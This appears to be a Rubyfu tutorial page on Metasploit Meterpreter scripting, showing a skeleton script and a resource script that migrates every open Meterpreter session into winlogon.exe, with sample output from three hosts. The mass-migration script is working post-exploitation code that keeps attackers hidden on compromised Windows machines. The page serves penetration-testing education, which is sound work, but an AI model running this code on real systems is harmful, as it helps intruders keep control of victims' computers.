Meterpreter Scripting
Since the Meterpreter scripting is planned to be removed and replaced with POST module, we'll put a skeleton Meterpreter script only.
You can locate you new Meterpreter script in
  • The framework it-self metasploit-framework/scripts/meterpreter or,
  • In your Metasploit user's path ~/.msf/scripts/meterpreter

Absolute Meterpreter Script

# $Id$
# $Revision$
# Author:
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
sample_option_var = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-o" => [ true , "Option that requires a value"]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for INSERT PURPOSE."
print_line(@exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-o"
sample_option_var = val
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions
The script is directly quoted from the Metasploit samples

Run Process migration on multiple meterpreter sessions

From `msfconsole` and after getting all metherpreter sessions, go to post/windows/manage/migrate
use post/windows/manage/migrate
Note: make sure you've the sufficient privileges to migrate to the designated processe
Then create a file with rc extension including the <ruby> </ruby> tages
mass-mirgation.rc
<ruby>
# Find PID by name
def find_pid(session_num, session, process)
print_status("Session #{session_num} | Finding PID of processe #{process}")
session.sys.process.get_processes().each do |x|
proc_name, proc_id = x['name'].downcase, x['pid']
return proc_id if proc_name == process.downcase
end
end
process = 'winlogon.exe'
framework.sessions.each do |num,session|
run_single("set PID #{find_pid(num, session, process)}")
run_single("set SESSION #{num}")
print_status("Running #{active_module.fullname} against session #{num}")
run_single("run -j")
sleep 1
end
</ruby>
Now, from msfconsole,
resource /home/rubyfu/mass-migration.rc
Result will be similar to
[*] Running post/windows/manage/migrate against session 2
[*] Post module running as background job
[*] Running module against WIN-NG118S6TM0H
[*] Current server process: shell.exe (3968)
[*] Spawning notepad.exe process to migrate to
[*] Session 2 | Finding PID of processe winlogon.exe
[+] Migrating to 3628
SESSION => 3
[*] Running post/windows/manage/migrate against session 3
[*] Post module running as background job
[*] Running module against HOME
[*] Current server process: shell.exe (2684)
[*] Session 3 | Finding PID of processe winlogon.exe
[+] Migrating to 2444
SESSION => 4
[*] Running post/windows/manage/migrate against session 4
[*] Post module running as background job
[*] Running module against WIN-8H4IDI0SR5A
[*] Current server process: shell.exe (2996)
[*] Session 4 | Finding PID of processe winlogon.exe
[+] Migrating to 2240
[+] Successfully migrated to process 3628
[+] Successfully migrated to process 2444
[+] Successfully migrated to process 2240
Copy link
On this page
Absolute Meterpreter Script
Run Process migration on multiple meterpreter sessions